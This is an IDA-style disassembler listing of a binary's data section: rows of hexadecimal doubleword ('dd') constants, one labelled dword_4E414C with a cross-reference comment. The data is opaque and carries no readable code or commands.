		dd 0BDE03DF3h, 0F1CF0C02h, 885DB1Ch, 0C989A2Ch,	419C61D7h
		dd 8B84B6F2h, 0C8FA4866h, 3F0E70B0h, 81447127h,	37D3248Ah
		dd 0F082F044h, 50646808h, 8F6F16F4h, 70403092h,	6C097604h
		dd 485C2D12h, 0BA88851Ch, 34745DF0h, 0B99B7009h, 0BCBA1423h
		dd 0D64E5000h, 0F895F011h, 90C00B98h, 0F480F607h, 0EB7A418Fh
		dd 0B418D209h, 89C00046h, 0AF00BE5h, 92757758h,	25840FA8h
		dd 1068689Ah, 0A36AC185h, 0A00B1010h, 434C20A6h, 1EFB64D0h
		dd 35849Dh, 543A90E1h, 3102E00Ah, 0EB2D0B85h, 1A8639Ch
		dd 34DB97B9h, 0D82B1FF3h, 27007C85h, 36CEA8DCh,	0E6153FD1h
		dd 0A36B30FDh, 0CD147520h, 73FB6212h, 0F8809095h, 9664CD4h
		dd 0C63152BDh, 0FC3A1442h, 0F104C8C5h, 68CC7D8Dh, 3081617Fh
		dd 83C096EFh, 3EF81F18h, 4C602E2Bh, 6CED0F60h, 86F510F8h
		dd 0A3433300h, 0EF9FDE7Ah, 11D4FB47h, 0C4FC266Ah, 0B8800A38h
		dd 0D04EBC30h, 26E3CF20h, 4A1FD0B8h, 3A14F623h,	0D61F0454h
		dd 0C8807E02h, 91D4542Ah, 40C393D4h, 8A7735E4h,	8094C598h
		dd 0A09DEA45h, 517D4851h, 714B4470h, 0DF28C718h, 461D40C4h
		dd 23008B85h, 53610139h, 26D39967h, 0DFAA4Ch, 3E16907Fh
		dd 0F12635F0h, 8592E8E0h, 317C4400h, 0B0F7234Dh, 0EF5C89CCh
		dd 0F40A6102h, 21BC3515h, 58117DAh, 0A0A1EF94h,	9E3366B4h
		dd 2779847h, 5DA87F0h, 0EF012BD7h, 788B4FD1h, 243141CFh
		dd 0F31CE027h, 0E469D700h, 84B4CD4Bh, 6897F173h, 3C500030h
		dd 2C17F5Ch, 66D2F118h
		dd 0E85D9E48h, 4C6406D9h, 681D5483h, 39CF7B12h,	47D0F000h
		dd 0E64F6041h, 688102E5h, 791B25A3h, 8A863061h,	68D61CA0h
		dd 3C9ADCA0h, 4CB29598h, 38E77F0Bh, 74FCA2B7h, 13CCC282h
		dd 2244B094h, 343912AFh, 93440F11h, 0E024A006h,	0D0DFD72Dh
		dd 4821F07Ch, 9800382Eh, 0C346F8Fh, 0E748FFF6h,	805D2FB8h
		dd 728354A4h, 9E78C070h, 9A847DD0h, 28444950h, 50B01550h
		dd 0E8BB32B0h, 0BCE74701h, 0B42D17E1h, 96815454h, 834A50B0h
		dd 5046F520h, 0C226CD80h, 81F84EC8h, 12BC8051h,	94C1FDF0h
		dd 58201537h, 49A01579h, 91109497h, 2C29268Dh, 84004C12h
		dd 71C79A11h, 0EF9098AFh, 4021B846h, 0D630D726h, 0DCF960BFh
		dd 0BA3E02F4h, 84F22740h, 63056141h, 3A30006Ch,	6AF109DAh
		dd 4088C5A4h, 0C0B5C277h, 11AC688Ah, 902F0613h,	18D0294Ch
		dd 18369DD7h, 31EEFDDh,	0DB49B3ACh, 0A31C0FADh,	0A8986FFFh
		dd 0B8096075h, 34394D19h, 9C10EFCBh, 54B07D81h,	0F0BF088h
		dd 0BC109960h, 0C29592E7h, 0FD9B4730h, 0BCE6304Ah, 1819E8A1h
		dd 33A62984h, 68390808h, 7C01F297h, 0BCC1F76h, 4D848064h
		dd 4901D0AEh, 0E1614066h, 0DB1BD84Dh, 68A00E5Eh, 85C9C87h
		dd 83C77BDh, 40DCF8E4h,	42466003h, 0ACD7443Fh, 24A8940Ch
		dd 70014C06h, 90399807h, 0AF912B94h, 8F1701ACh,	31F11D4Ch
		dd 0E7C8200Ch, 18264E12h, 70933872h, 890120D8h,	414E8000h
		dd 0C3D99772h, 8EE63732h, 0AAE78130h, 0C0802C9Dh, 3E80F84Fh
		dd 8054BE5Ch, 0E0E798FAh, 330568AAh, 90F0DDFFh,	3200DCB8h
		dd 96E2ED62h, 1000B1AEh, 12F6F14Fh, 5C67FB34h, 591EC853h
		dd 84B5C37Eh, 90005BB7h, 101A8848h, 0B7AF66DEh,	87A5005h
		dd 822581FCh, 0E14AF58Ch, 30731C54h, 9418113h, 0C890EA10h
		dd 9A609FD7h, 0B628D1A8h, 0A648E85Ch, 0F6E8A0ACh, 608081FBh
		dd 5501300Ch, 1C9B4928h, 9834E0E8h, 24043D54h, 8A105E92h
		dd 1F1B00C4h, 77E93669h, 30F014DCh, 350680A6h, 70440ED7h
		dd 0D0A8274Ch, 74A300F4h, 0D95C4736h, 85FE17AEh, 7DC8409Eh
		dd 5AC62630h, 44182C02h, 729079C9h, 0D03D00B8h,	0EE2F937h
		dd 0FA4D3682h, 3C1A1028h, 0EFD44293h, 0C46068A3h, 32019FFBh
		dd 44AB33ACh, 84D84C88h, 7043627Dh, 0E0E51A91h,	4A0BDB07h
		dd 0EDC09E77h, 7CE8FF9Ch, 9BEB003Bh, 24326E3Dh,	0D636E7EEh
		dd 0B8D980ECh, 98A9C214h, 0C4608F01h, 0FE17E0DEh, 9F1EF1E2h
		dd 71E70882h, 330D04Dh,	95643449h, 5CA017DBh, 7AF14CEDh
		dd 0AEE72081h, 0FF18007Ah, 42347E94h, 0E840A49Eh, 9AD26FE7h
		dd 807128FCh, 0F0EF54B8h, 68EE501Dh, 7C8CA185h,	513F9C23h
		dd 0BEF3E193h, 0FC894600h, 0FA2A2C3Bh, 0B0986Eh, 97A059D9h
		dd 91CF8365h, 8BA894A3h, 0FD066805h, 38DCD75Ah,	0A8084968h
		dd 0F918207Dh, 76408F48h, 5D08E4B9h, 0E781033Dh, 0F8030BA8h
		dd 0D3532B29h, 0D999F855h, 0F4081647h, 143CF852h, 13DC654Ah
		dd 74C93F4Fh, 19488860h, 503B3D83h, 61783586h, 0C002818h
		dd 9913D729h, 0EDB500DAh, 8D86F471h, 0C201F32Bh, 0F0F94E1Bh
		dd 60805B8Ch, 0A9EE5A38h, 920E841Ah, 0BECDCE51h, 972D6F90h
		dd 7C73F81Ah, 0D2E2EE80h, 25A59D6Bh, 44C17FE7h,	10206C7Dh
		dd 4D0C4301h, 373957E1h, 6179D719h, 66CECC20h, 2C2B7D4Ch
		dd 8068B5E0h, 44FF95DDh, 0F27A4F42h, 218BE201h,	16AAF0FBh
		dd 0D734E882h, 0D1064C57h, 4FA700E0h, 15FB2B21h, 0E2EF8B68h
		dd 164BC360h, 0C4D63124h, 2202C510h, 84FC5CEDh,	3779ECC0h
		dd 0C370184Ch, 38B6A0D7h, 0F009B28h, 2AD38C7Fh,	0F1384AFEh
		dd 6480E024h, 24214446h, 41CC887Ah, 0C4A4D922h,	50981E73h
		dd 9454847Bh, 7F29E198h, 0EF04A0DEh, 0A4B20A3Bh, 46A9E305h
		dd 3884BAh, 9A644F9Bh, 0AA00CD1Ch, 0D50EB282h, 65F184E3h
		dd 0B2DF4028h, 0F4390984h, 70789A96h, 0E2B8B8D0h, 67C330E7h
		dd 7D9BFFE0h, 0F4A8112Ch, 4E0C6826h, 405DF05Ch,	2DE22550h
		dd 0A604DBB0h, 49644829h, 0B0958CB8h, 54576604h, 89ACB418h
		dd 0C385E409h, 3F3C04E3h, 98B6B30Eh, 0C94EEF94h, 83F11C31h
		dd 66100AC7h, 402831B7h, 49C05622h, 0F06EED09h,	861860ADh
		dd 0D7A33AF4h, 97F53A00h, 242513DCh, 43207890h,	84E35865h
		dd 1D49CCCFh, 88B2EC44h, 0C4458F00h, 0A90E571Ch, 0EAF92CF3h
		dd 1C2412B4h, 411A5844h, 0CA0CCF80h, 1029E684h,	0D7B10924h
		dd 2CA97A62h, 203E9431h, 4C74ECC8h, 60226A2Ch, 869EDE40h
		dd 0E77F005Eh, 43B7E961h, 700BE099h, 216F70Ch, 353A43Ch
		dd 0EBC0B596h, 0B265B0F0h, 800041F0h, 5FFBD9D8h, 0FEC10099h
		dd 0D7474F86h, 88C26B0Dh, 0D1B385h, 57B659E2h, 0B04658h
		dd 0C4B73158h, 28E7CA9Ah, 29B027AFh, 85C1B62h, 0A40033F5h
		dd 9FD598F2h, 37EF01FBh, 16F07AEDh, 8D888022h, 0F3CC35FEh
		dd 0A79A007Fh, 99332045h, 0BB134EC5h, 0B808E2C6h, 1EE30E7Bh
		dd 0CC301F90h, 1863160Ch, 3C29F44Dh, 4F9F903Fh,	6055003Bh
		dd 654B835Dh, 1F4481BFh, 4FC44EA4h, 0FD9C14D6h,	6B138DC2h
		dd 26383121h, 0E1582064h, 0DAD83441h, 6DB4131Eh, 0C2CD881h
		dd 90EAD4B6h, 4E8BDA00h, 30D793EDh, 5C4C01DDh, 0F012947Ch
		dd 504014C0h, 0B3704998h, 589C4869h, 2CA4279Eh,	1FF88C79h
		dd 5C28FCB6h, 0A4400B5h, 9508803h, 2880E77Dh, 0E8400C0h
		dd 0EC0D191Eh, 4084D82Fh, 40940383h, 27A15A60h,	8F2634E7h
dword_4E414C	dd 0E93CC110h, 85203399h, 1C0CC197h, 72A807Dh, 0CDE9C0D7h
					; DATA XREF: ___:off_43A870o
		dd 0E4146505h, 60F16488h, 0D7306AA4h, 0F71D21B0h, 55A690F0h
		dd 30809862h, 0FE17322Ch, 0FAE448B8h, 2D639601h, 696C8D64h
		dd 5700607Ch, 3A509199h, 5E0D0F0Ah, 88ECCDF1h, 1989EEE8h
		dd 18653F30h, 3880h, 81920437h,	1FF6231Ah, 2747556Fh, 932008AEh
		dd 0E762DA48h, 0E4FFBB2Ch, 0A0859F09h, 222C26A0h, 0F9232C4Fh
		dd 0D91DC284h, 0E898ECC6h, 0C077C4Ah, 4D80E6D7h, 6BE166D0h
		dd 242B50EDh, 429A0C02h, 2BF19D00h, 0DBE80F7Fh,	19C7D321h
		dd 69085ABh, 0A9B7F108h, 831D2A70h, 0E5CE4C13h,	25B4942Bh
		dd 510C480Ah, 489100BFh, 3ED9DF4Fh, 9A70BE0Fh, 0D60537F0h
		dd 1B5BF147h, 0E202BC01h, 0D830D01Eh, 4BC4962Ah, 0DE30C0E9h
		dd 5834F00h, 0C3F4A80Bh, 0F29D184Ch, 31B3A025h,	0D900E67Fh
		dd 0D51DFCE3h, 1C3D6202h, 13D7CFC5h, 0B19CC82Ah, 807C314Ch
		dd 0A4C4D899h, 100E588Ah, 0F1129C90h, 0CD44B08Fh, 86496D00h
		dd 0E15D098Ch, 81AF4A64h, 0D1836308h, 784425ECh, 12203EFBh
		dd 44A227FFh, 7E773102h, 64F99748h, 14A02D1Fh, 0A864F34Ah
		dd 414ED104h, 216081FAh, 0AC89F4F4h, 8160A2B7h,	0FE9B00E5h
		dd 0E4003D4Fh, 9C72D3B3h, 499F2E21h, 0A2040C75h, 0D2492263h
		dd 0B07180C4h, 958E1100h, 0C1517229h, 88561D10h, 2100DF84h
		dd 28A10297h, 1967BF7Ah, 184DF783h, 99A4744Ah, 4C3420D4h
		dd 0FBD7C464h, 9444FCC9h, 1B497004h, 40073CB2h,	4063D551h
		dd 0AA273B9Ah, 2A5460B2h, 88A33FB0h, 83EE09CCh,	0E4A18510h
		dd 0A0385014h, 7966720Ah, 647005CCh, 2D8E296h, 59D73684h
		dd 88A90516h, 0E7258554h, 81280024h, 0FAD61EDFh, 5F2001Ch
		dd 8791F046h, 0D4A626CBh, 8C8514A8h, 945E1000h,	7F83512Ch
		dd 16D0BA11h, 0A0A549B6h, 254DDFACh, 26A602E8h,	0C736D7h
		dd 2C3F029Bh, 27093D1Eh, 0BA305100h, 910AE31h, 83C7D7C1h
		dd 0F10BBCE7h, 64FC2532h, 3D33ACA0h, 30EEA3D7h,	0FDC59801h
		dd 0C101D15Bh, 41DDE193h, 70296408h, 0A74C4858h, 32C902A7h
		dd 0ECAA8970h, 0A8BF202Ch, 9E00A4B0h, 6C8C704Ah, 4A9CE7ECh
		dd 0DB60C01Bh, 0AF39F0EFh, 0B56AF5E5h, 7C8F0030h, 0A501D64Fh
		dd 30835A97h, 0AE62424h, 68ECBF66h, 805D08E4h, 0F140653Ch
		dd 4FB407EAh, 0F5A983C0h, 0D74D1076h, 0ECEF0204h, 80CCE049h
		dd 9BA6EACCh, 5DE71870h, 73269022h, 304CDF00h, 3F37D09Ch
		dd 0E70F097Fh, 9044312Bh, 0FC28384Fh, 70DA5C1Fh, 1E2AB040h
		dd 8711853Fh, 6C86BA3Ch, 0BF2827D0h, 0FC96B47Dh, 0C08C5A5h
		dd 3F68290Eh, 0BC198A24h, 4B310400h, 1DEF1C72h,	420735Bh
		dd 9094A8E7h, 3F6E9B58h, 3162C901h, 6F84D7D5h, 0D44C842Dh
		dd 0DCF0FB05h, 2604A00Eh, 3D489239h, 0D8F9246Fh, 99C8714h
		dd 785253Bh, 2B742450h,	0DB454C82h, 89859660h, 0B0FC55D8h
		dd 0A1306634h, 4CD7B80Fh, 0F538C474h, 5060802Fh, 3C03265Fh
		dd 4D025DA9h, 91384BA1h, 60F27B6Ch, 9001840Ch, 973B4EAFh
		dd 2196D92Fh, 7C382F37h, 98F6CC0Eh, 902F1FDAh, 17169534h
		dd 0B9E7D6A3h, 1F9C5830h, 438F72D7h, 6B65A511h,	0ABF1A804h
		dd 986FED00h, 4C0BB4D0h, 80FFE1E9h, 0F436CF68h,	382CE9F0h
		dd 0C0D34F07h, 1C8A9228h, 0B3AE62E0h, 0C6036502h, 413E94FAh
		dd 8905A7A4h, 0F9F1974Ch, 92844440h, 3E2E30E8h,	51124A8Dh
		dd 83E0B0C7h, 0C6935E25h, 50915804h, 13C8C84Fh,	30550E00h
		dd 50CCCF9Fh, 0F83D0958h, 0C8801F23h, 0A1AAF0F6h, 0D89DA8D6h
		dd 0A0189892h, 0E102EF60h, 5A8E55C8h, 0C05462D5h, 1847233h
		dd 873F4082h, 7A70E713h, 4F5C3454h, 990AF430h, 8F58C906h
		dd 0F824D480h, 1D61C1E7h, 7FDFFFE0h, 0C942E5E0h, 400DEF1h
		dd 16F31D41h, 0DBD72Eh,	0DC0F8586h, 946F1248h, 2438F374h
		dd 5617F02Dh, 92858C37h, 46A29CD2h, 4749C24h, 0EC3AE749h
		dd 24C04840h, 7C935813h, 0F2ECC08h, 0C1420398h,	0BC820A4Ch
		dd 5C00B770h, 48A85347h, 0D90024A4h, 0A6DB5BD3h, 0F0197577h
		dd 27981783h, 0E53CFF30h, 4437C455h, 1AE70508h,	6E8E228h
		dd 4BDCD737h, 204D06C0h, 211F7BE8h, 81344919h, 28601438h
		dd 0FAA440F2h, 976468F1h, 24B22C25h, 0F880912Fh, 1B4261E1h
		dd 84606BB8h, 9F798CA0h, 51264848h, 0B2B5205h, 82458013h
		dd 1F06CE1Ch, 596284D5h, 0AD2700C0h, 0ECC64F49h, 19000D1Bh
		dd 3DB8FBD6h, 258474A3h, 2CC458B6h, 92F40BCh, 6814827Ch
		dd 0F3410F40h, 70869CEDh, 0F405A524h, 0B044940Eh, 0FC66C017h
		dd 1CF95DB8h, 0C29AF40Eh, 0E7E86012h, 0C8A0C8B8h, 1578843Fh
		dd 10F59430h, 0F34517Fh, 580870AFh, 87DCEA8Ah, 3CFD8347h
		dd 0D0E5A760h, 0E72F8070h, 490C61DCh, 0EFC5B42Ch, 0EB58C8CCh
		dd 4BF08358h, 492EF899h, 0ACC256A8h, 0D79F34FBh, 0F9003DD0h
		dd 56AF4EDCh, 0D917CF28h, 60408784h, 45CCD89Eh,	3EE76DCBh
		dd 93EC3038h, 7F1B40h, 781D3B4Fh, 0F04CC834h, 3098792Fh
		dd 0FDF4B80h, 4F9E1427h, 54B9C180h, 0FF24EEA9h,	8205087h
		dd 0F31B6300h, 14B301DBh, 8C41014Fh, 849A8F69h,	74F453B8h
		dd 0DF70E908h, 9443501h, 1409E324h, 0EAE20CC4h,	0FE8920C6h
		dd 0D64E0089h, 0ED7D0154h, 933EC098h, 24F5A62Fh, 4455213h
		dd 0F030FEE0h, 97150E84h, 3E215098h, 0EC029181h, 0DC7FF560h
		dd 6CDC78D3h, 0A94BC7Dh, 13F0AD6Dh, 6AE401EDh, 20F298D7h
		dd 0FD3C9CFCh, 6D521929h, 2866A340h, 17FFD410h,	50926179h
		dd 980CCC97h, 466624D0h, 644A2727h, 0B2ED6DC0h,	3FF54F0Bh
		dd 9C53803Bh, 0A03D5005h, 4EC58408h, 8260271Ah,	30FAA489h
		dd 714D7608h, 0F6D30052h, 4F322FF7h, 17E2F11Eh,	0EB00485Fh
		dd 39B3A7EFh, 2FA426E7h, 98808094h, 8A3493DCh, 0BBD7EB16h
		dd 0E8457880h, 1E24B82Ch, 127AE714h, 0C0502518h, 22C9F144h
		dd 82B09095h, 0A81059E7h, 757A9807h, 80BF4728h,	51DA4EB6h
		dd 97F8EAE6h, 8410DC0Bh, 25906033h, 883F00ACh, 4EF34F13h
		dd 94073249h, 0C9E7F69Ch, 3C0250ECh, 4C3947DEh,	6F8AB9E0h
		dd 9C48535Dh, 9A6514DCh, 8DAF09B0h, 0FC745092h,	0E7DA8325h
		dd 84410079h, 1093FFB4h, 3B1C887Dh, 51769F04h, 54889C5Fh
		dd 280B951Fh, 90FA8C60h, 0F8CCE54Ah, 92D09197h,	7CC0B17Dh
		dd 0D71774BCh, 1C4896BEh, 293140D5h, 0BF005C17h, 0DEDB1CC3h
		dd 9068589Eh, 9FC909A0h, 0AC0055F9h, 1D2CCCFAh,	84E3D006h
		dd 4271CFD3h, 0D85401C2h, 0AAE1E77Bh, 5CC2CC7Ch, 80795B62h
		dd 0F07C7702h, 0C70501Dh, 70425C36h, 9E1EAF20h,	23C00D1Ah
		dd 838BDDB1h, 26F33B6Ch, 0A26D3FF9h, 859AC783h,	2CA3FB71h
		dd 8C8280E7h, 960D872Dh, 182E130Fh, 0CF6C5AE8h,	0D32C7E20h
		dd 2778B648h, 0A72B8B0Eh, 221A80B7h, 0E40BDFADh, 0E7C60EAAh
		dd 4098A65Fh, 4E01E02Ah, 6D35A2E1h, 1885BF78h, 0ABF56BACh
		dd 487B99C1h, 0CA7F509Dh, 7486CA6h, 0CC33DB2Dh,	0B3002730h
		dd 362BE426h, 187E961Bh, 287CEB83h, 0E7E79CDh, 17383760h
		dd 0ADBC29h, 244FE914h,	9E844894h, 0E1087224h, 0E61B8316h
		dd 10469B70h, 289CD0h, 23A6C47h, 7A618C0h, 3E4CC784h, 987C46BDh
		dd 0D4470880h, 540E14A0h, 0D178E460h, 0E278DFCFh, 0D800079h
		dd 251AADB8h, 880086F3h, 2DCD3129h, 1D217A27h, 0D8836F12h
		dd 8475F932h, 7D06C4ACh, 53B4028Ch, 0A8266221h,	16000577h
		dd 605B0E81h, 13283023h, 0C607B036h, 0A6A5E71Ah, 0A7CDC840h
		dd 0D9E2052Eh, 8391E540h, 0B040E07Ch, 0DB7347A8h, 90E81754h
		dd 6D0380A4h, 2FD1AAFFh, 6059E2A6h, 804014h, 0BC2B7E69h
		dd 227C8FD5h, 9B5EEA00h, 83766D0Eh, 40426094h, 0C6BB0F5Ch
		dd 30E63631h, 0D0BC96D3h, 4EB0D9Fh, 823EB7DFh, 5048F010h
		dd 0F85059F2h, 7F310FF0h, 1807D099h, 0A08F08Dh,	2920E209h
		dd 0CD623F0h, 0F68F6D1Ah, 63266438h, 8305A4EBh,	0EC4107A0h
		dd 53510E7Fh, 0F979508Ah, 3EDF86ACh, 0A000803Ah, 34B5F78Dh
		dd 8C80602h, 96930ED3h,	9B80141Ch, 0F9FAC6A3h, 6DA8A03Bh
		dd 70FB60C4h, 9B8778BDh, 2D29E303h, 0D52B150Dh,	69E17404h
		dd 30827C88h, 2E90C8F0h, 0D360626Dh, 2294CF18h,	14030295h
		dd 0AABE855Fh, 0BD9093h, 112A2D24h, 33286E7Ah, 25F9F022h
		dd 1AF6F47Ch, 1677F91Fh, 3868154Ah, 1E8C789h, 33D679F0h
		dd 48DBBE3h, 0A6707F50h, 0DF308868h, 78E2AD33h,	3096780Fh
		dd 0DE10549Fh, 0F56E040Dh, 396D2329h, 62600BD1h, 98004722h
		dd 101AC9C2h, 0C3F8FD50h, 0AF6DAEC3h, 332800F7h, 327DF57Ch
		dd 0BB008618h, 0E44C70F0h, 0FA306D60h, 0ADC336C8h, 0DC00A939h
		dd 5CC0F15Eh, 225DFFDh,	0D31E7290h, 8890BB2Bh, 10002415h
		dd 0C3A19A26h, 0ACDFBCEh, 8A765F92h, 0C0CB9CA0h, 6329AC81h
		dd 100A6509h, 88FD6983h, 0E703C507h, 73C682h, 7B446D22h
		dd 8B029BF0h, 0A5F92B17h, 29909067h, 93C99BFh, 84A0A60Fh
		dd 0ED51E019h, 741570C5h, 24FEBC31h, 7287F441h,	0F9B6BC41h
		dd 15257880h, 0B20F4475h, 0BCAB921Eh, 13081D14h, 404F7E12h
		dd 220A1078h, 0FF02BE7h, 48F4A5DFh, 0C88E7F00h,	6615A823h
		dd 91C33CAAh, 948F6829h, 1A117580h, 2AABEB90h, 90906DB4h
		dd 21610AA0h, 86C2891h,	24015393h, 66A636EBh, 5D5E3840h
		dd 864C91E3h, 1184D3DFh, 882B0614h, 30184838h, 2D8050A5h
		dd 285091BBh, 0F071FE90h, 8B831BC8h, 0D1C4E0AEh, 6A06E64h
		dd 3C7350D9h, 0D4880047h, 0DDFFADBh, 20B23E26h,	0C7FBD504h
		dd 30D703A8h, 955BEF3h,	0CE23E190h, 7FA58800h, 170019D6h
		dd 187147CCh, 1890C6FFh, 485D200Fh, 36350ABAh, 7C40A0D8h
		dd 0CD330D5Ch, 0C08F98DFh, 24292ED0h, 0E3936F3h, 20386259h
		dd 16B064FBh, 1D1CAC6Dh, 0E466009Ch, 3712093Ah,	0BEBCCA03h
		dd 0A36798C9h, 0E069E39Fh, 6347487h, 2DD8D931h,	0A9012864h
		dd 0CEE288AAh, 8851725Dh, 0E442EA38h, 0E988175h, 18921E80h
		dd 362C40C5h, 38FF6FC2h, 6B263104h, 78870F2Fh, 83090D80h
		dd 40F564E1h, 49B28437h, 0F805A9C8h, 78C41413h,	18BA8618h
		dd 44288378h, 367EB894h, 0DC0D847Fh, 20C4056Dh,	0A0DC6EE2h
		dd 0F406C5D4h, 0DDE0A8A6h, 4C77777Fh, 13C4286Dh, 6898005Ah
		dd 4C97D22Ah, 321274DCh, 793041F8h, 3615D923h, 32E11690h
		dd 0C41E1C24h, 0D0AFE68Ah, 1473150Ah, 0E4499992h, 2878B023h
		dd 8B3614E3h, 3500AC08h, 7EF0B9B1h, 0DE5C8CDCh,	322103DAh
		dd 0C68BDB68h, 245872B0h, 0AC58EF64h, 45B01320h, 83D7E2D0h
		dd 0F030452Ch, 0AA0EE809h, 144EE83Eh, 881274E0h, 0D647A962h
		dd 0D9571064h, 6E48141Ch, 50AF2410h, 82041209h,	4ABFFB74h
		dd 7E6480A4h, 69830E7Dh, 0D08AD06Dh, 313835D2h,	45AD33D4h
		dd 0E440378h, 103EC767h, 0E16D88AAh, 87AF0A18h,	0A4683Ch
		dd 0E6FBEED8h, 0B80FA62Ah, 92574061h, 1F0B411h,	0B775789Bh
		dd 1FDD3753h, 60F50EDCh, 0E00F6033h, 14B17665h,	4745F0A6h
		dd 0C0EE3422h, 0DED3EFE4h, 8215E011h, 4044C72Fh, 750F7918h
		dd 814EDFE7h, 494A6D31h, 678A2892h, 0B3A2C33Ch,	2595A019h
		dd 8831A8F8h, 0C7F4824h, 71940E73h, 0FA49BEA8h,	0DC362C44h
		dd 0FD21E244h, 81608348h, 0DC718017h, 4247F4CCh, 0BED914D1h
		dd 0B2DB20E4h, 0A32D258Ch, 30BD1411h, 0AB3A8B20h, 834B06FAh
		dd 64876AEh, 400DEA23h,	0C2195803h, 1110DFA3h, 6DB0AA00h
		dd 68CF1030h, 17C73FD0h, 20A20E82h, 0A86D2178h,	0A720F264h
		dd 20DFC4CCh, 0AE0FD637h, 324B8379h, 0A0EAF44Bh, 0F37BF9F4h
		dd 48DD7810h, 0D75B583h, 8842DFC4h, 9EA84238h, 30E01838h
		dd 2D2041B1h, 0FC07111Fh, 0F28F304Fh, 31BEFF81h, 0A50AD8h
		dd 0E297BFBh, 13E8493Bh, 1839FC24h, 61D1B00h, 5FCE2Eh
		dd 80707DA6h, 62C82524h, 77EF18EAh, 0C385138h, 4082F6B4h
		dd 68C9DF4Ch, 8981831h,	150058FBh, 0F55FE730h, 0A3E60B04h
		dd 8814AFABh, 0BA2CCA3h, 1D6CC61h, 0D9022FE6h, 0DF2EF066h
		dd 0F0876CB8h, 9882BC2Bh, 0BBE44908h, 281D4073h, 0A0D7986Dh
		dd 8C3AA192h, 0C7020E94h, 2023A9FCh, 9BDA8ABCh,	0B43E492Ch
		dd 13EC0F83h, 0D46A9800h, 0F0B7A791h, 0E9700169h, 0A30E8B7Fh
		dd 0A52081F7h, 0BE6F9839h, 6A0800DFh, 8A6C90DFh, 0FB1D2EFFh
		dd 850B4CBDh, 991024C2h, 6D846056h, 78C09E5Eh, 37AE7476h
		dd 8A604F9h, 0D3738F4Ch, 0B01C220Ch, 8B4B415Fh,	0D382234h
		dd 0A064E839h, 2DA748Ch, 1B177DF6h, 70407FA6h, 69D2FA02h
		dd 127C3891h, 216D3801h, 5B789FC9h, 287FF10Ch, 816000E8h
		dd 2A18D52Bh, 9514DF0Bh, 24CC2517h, 582C64A8h, 822D163Ah
		dd 68E0CE02h, 0E4C88078h, 1A27977h, 0BD2A5AC0h,	20AF2788h
		dd 15741D14h, 83CC6804h, 7880FA90h, 0A2120D2Bh,	178410E1h
		dd 0A23D901Ah, 369861D4h, 82EB5C01h, 0E26D3030h, 4B486AC6h
		dd 638CE204h, 0B084B828h, 76FB7039h, 60ED0147h,	0EA0E7EC5h
		dd 2F130021h, 0A71C14DAh, 0A6038246h, 0B0C76D63h, 7E6C4000h
		dd 6BD0C9E1h, 0A79400D6h, 2B58D781h, 83003DFDh,	65851804h
		dd 986D8034h, 50C2F45Fh, 0F46A443h, 0A3B7F986h,	0BB2A0BC0h
		dd 8E4C2554h, 382020FCh, 14310DE5h, 21721088h, 0FAC6474h
		dd 904E7E25h, 5DC38BF8h, 230BB4DEh, 4CAE896Dh, 0E526B240h
		dd 0A5F2D95Dh, 0DD82270Ch, 13298016h, 48EA5C6Dh, 9458334h
		dd 0F2BBC4C1h, 18209071h, 0AD0D10DEh, 0C61617E3h, 0DDDF0042h
		dd 0DBE080A3h, 0CABF326h, 57380E05h, 36737228h,	7290D458h
		dd 1D109E01h, 0F683A60Ah, 0EDFCD0h, 2A356D87h, 188B23D8h
		dd 2E101E48h, 0FF04CD98h, 64C4B4AAh, 0C4281C8Dh, 0B00F6D84h
		dd 26249444h, 0D4AC7405h, 1F8C088h, 19D3480Fh, 6099F97Ch
		dd 0F07AC2F8h, 7F20161Eh, 3F088514h, 0BB111726h, 30669448h
		dd 0E924DF0Eh, 6CBFE0C0h, 102C0A7h, 0F3DE7479h,	0D947F48Eh
		dd 2584C0B5h, 0D16BF107h, 0FE706794h, 22F1115h,	832C788Ah
		dd 78500214h, 0E020AC82h, 152197AFh, 9231200h, 0D46B8569h
		dd 78257C94h, 0D2E20748h, 490E371Dh, 0DFDE4420h, 90C0E8F6h
		dd 0FFCBBEC2h, 5A240E58h, 0C832F0E0h, 0E090477Ch, 952DA31Ch
		dd 85481340h, 1C8182Eh,	0B1237FF3h, 23BC146Dh, 52CA0388h
		dd 0BB8183h, 660D37A8h,	7EDDB623h, 0ADBE2B01h, 45FBAC2Ch
		dd 1481060h, 9307E8D0h,	64490E06h, 581309B8h, 0C82026E2h
		dd 301771h, 6484E983h, 958F44FEh, 3252A12h, 6C730D8h, 40838D8Ah
		dd 243A1072h, 0D250D815h, 6D827CC0h, 5CA0C01Bh,	1F5758E4h
		dd 14956700h, 83636F47h, 2F89C54h, 2833D579h, 158B0840h
		dd 0B42E7F03h, 1FFB6583h, 34E62DA0h, 4D4B3D8h, 0F55E5645h
		dd 0E9A82CC0h, 15580F6Fh, 9CA72DFAh, 0B8B4C083h, 0E7FC4CA5h
		dd 5CC50D18h, 968EE1A0h, 839B44B8h, 12F9F850h, 80F3E12Ah
		dd 6EC95D10h
		dd 83E89534h, 680C2842h, 0E2401C28h, 0E73E8380h, 0FCAA58A5h
		dd 32FE8870h, 6DDC5A07h, 44C0AED4h, 0C4E3297Fh,	1C7A3020h
		dd 81023464h, 8B449F83h, 7C2C0D8Ch, 0B8B50C20h,	8DE5C70h
		dd 22441B88h, 88AED8C1h, 6CC8F444h, 746F0183h, 0CE176708h
		dd 0E39C7061h, 0DC0F2010h, 0AF12A507h, 1B018394h, 14B04878h
		dd 70340B31h, 0BC3D7EA7h, 9C545C24h, 0B0168036h, 2D1B1ABBh
		dd 646E4713h, 16E2F408h, 0BD3C0617h, 6920D8EAh,	0D57106F2h
		dd 11900F97h, 7AE28219h, 9F2C4858h, 85355A00h, 1C8C0970h
		dd 89C7FC3Dh, 27E128Dh,	505D0E4Ch, 4CDF16DCh, 85488827h
		dd 0C7F44903h, 869B6DFFh, 146096F8h, 292DA4E2h,	6D243082h
		dd 20037BC3h, 0DF229327h, 0B9BCCF84h, 28751E87h, 7CC08316h
		dd 15EA3C54h, 0F085E8EAh, 0A00A234h, 0BCC80B94h, 9DE81B99h
		dd 7809E050h, 7A892E0h,	0A723C896h, 38F0666Dh, 0DB70820Fh
		dd 0CC17AF93h, 0F85FE085h, 18049879h, 61FEB86Dh, 868A2633h
		dd 0F9206010h, 9CAECAE8h, 0B038A7CCh, 0D7FC0DE0h, 0C810E0E5h
		dd 0F8D2EE26h, 13A0C31Fh, 30E422F2h, 17070D20h,	0C64C845Ch
		dd 21F8F6h, 0B0828061h,	73171AEEh, 902FA626h, 30F11400h
		dd 7C88AB9Eh, 0C71628F2h, 81C20028h, 25FD1CA4h,	4731E06Bh
